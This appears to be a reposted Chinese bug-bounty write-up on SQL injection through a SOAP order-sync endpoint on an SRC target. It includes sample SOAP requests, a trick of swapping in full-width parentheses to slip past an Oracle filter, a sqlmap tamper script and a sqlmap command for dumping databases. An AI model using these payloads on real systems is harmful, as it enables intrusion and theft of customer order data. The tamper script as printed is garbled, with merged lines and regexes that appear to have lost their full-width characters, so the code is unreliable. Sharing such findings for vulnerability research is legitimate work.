本文主要是介绍重生之我是赏金猎人(一)-轻松GET某src soap注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
0x00 项目背景
该系列旨在分享自己和团队在SRC、项目实战漏洞测试过程中的有趣案例,如果读者能从本项目习得一些有用的知识,那么笔者将非常荣幸。
该系列首发github:https://github.com/J0o1ey/BountyHunterInChina
本项目由M78sec维护,未经授权,文章严禁私自修改版权转载。
0x01 背景
在对某 SRC 测试时,本人根据其证书信息收集到了部分深度子域,并找到了其对
应的业务 IP 段
写了个 shell 脚本+ffuf 批量 fuzz 某 src c 段资产目录 fuzz 发现了 xxSRC c 段的一个提供了 webservice 的服务器
http://180.../webservice/
获取到接口
http://180.../webservice/syncOrderToOdcService
使用 soup ui 进行调试数据
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:odc="http://odc.ws.qiku.com/">
<soapenv:Header/>
<soapenv:Body>
<odc:syncOrderInfo>
<!--Optional:-->
<arg0></arg0>
</odc:syncOrderInfo>
</soapenv:Body>
</soapenv:Envelope>
<arg0></arg0>
当<arg0></arg0>
中间无参数值时
Soap 接口抛出了一个 Oracle 的错误信息,并提示“Date format error,YY-MM-DD”
随后很简单了,构造一个符合条件的 date 数据
2021-9-23
Soap request:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:odc="http://odc.ws.qiku.com/">
<soapenv:Header/>
<soapenv:Body>
<odc:syncOrderInfo>
<!--Optional:-->
<arg0>2021-9-23</arg0>
</odc:syncOrderInfo>
</soapenv:Body>
</soapenv:Envelope>
arg0 处为日期参数,指定日期,即可查询到 xx src 商城所有订单信息属于严重泄露客户数据的漏洞
看了一下 oracle 都爆出 SQL 的错误信息了,并且没有预编译相关的提示,这不得注入一波?
但是在注入的时候发现程序会将括号()过滤掉,导致函数无法执行,sqlmap 注入不出来这时候就要用到骚姿势了在 Oracle 中文版本中,中文括号()可以代替英文()而且不报错!
EG:
纯中文括号
SQL> select (1+1) from dual;
(1+1)
2
剩下的就很简单了,改一个 tamper 出来
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import os import re
from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" %
(os.path.basename(__file__).split(".")[0], DBMS.PGSQL)) def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = re.sub(r"\s*(\s*", "(", retVal) retVal = re.sub(r"\s*)\s*", ")", retVal) return retVal
python sqlmap.py -r xxx.txt --dbs --tamper=brackets.py
//注入请求,在日期处加*
w 到手,收摊
本文作者: J0o1ey
这篇关于重生之我是赏金猎人(一)-轻松GET某src soap注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!